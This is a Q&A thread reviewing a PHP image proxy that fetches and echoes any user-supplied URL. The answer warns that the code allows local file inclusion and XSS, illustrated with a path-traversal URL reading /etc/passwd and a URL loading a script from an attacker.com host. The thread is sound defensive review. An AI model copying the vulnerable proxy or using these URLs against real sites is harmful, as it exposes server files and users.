4
\$\begingroup\$

I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.

<?php
  header('Content-Type: '.image_type_to_mime_type(exif_imagetype($_GET['url'])));
  echo(file_get_contents($_GET['url']));
?>

If not, how should I do it?

\$\endgroup\$
  • \$\begingroup\$ What is this code supposed to do? Why don't you use the URL o the image directly? \$\endgroup\$ – A.L Apr 7 '16 at 22:51
  • \$\begingroup\$ Because of the Same-origin policy \$\endgroup\$ – Halasi Tomi Apr 8 '16 at 10:45
  • \$\begingroup\$ To my knowledge, the Same-origin policy applies to Javascript, not to images. \$\endgroup\$ – A.L Apr 8 '16 at 12:21
  • \$\begingroup\$ Yep, but I you use JS for sourcing (I think I need to, the user gives the source), so (I guess) it need to be on the same origin. \$\endgroup\$ – Halasi Tomi Apr 8 '16 at 12:38
  • \$\begingroup\$ Then maybe you should update the title of your question (it only mention images at this moment). \$\endgroup\$ – A.L Apr 8 '16 at 21:50
14
\$\begingroup\$

Your code is vulnerable to LFI and XSS.

http://localhost/yourscript.php?url=../../../../../../etc/passwd

This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php

This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.

\$\endgroup\$
  • 1
    \$\begingroup\$ +and checking the mime type \$\endgroup\$ – Halasi Tomi Apr 7 '16 at 10:08
  • 2
    \$\begingroup\$ Local File Injection and Remote File Injection. It basically means that anyone can "inject" (load) remote or local files (files from your server) into your script. \$\endgroup\$ – Oldskool Apr 7 '16 at 10:08
  • 1
    \$\begingroup\$ @HalasiTomi local file inclusion and remote file inclusion. My first example is an example of LFI, my second one of RFI. And no, only allowing absolute URLs will not help against RFI (if done correctly, it may help against LFI). \$\endgroup\$ – tim Apr 7 '16 at 10:09
  • 1
    \$\begingroup\$ @HalasiTomi Mime type checking is difficult. I would not use it as your only line of defense. \$\endgroup\$ – tim Apr 7 '16 at 10:11
  • 1
    \$\begingroup\$ Which part of the code causes remote code execution? I can see maybe that there might be a problem with XSS but I don't see how this causes PHP code to be executed. \$\endgroup\$ – arxanas Apr 7 '16 at 22:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.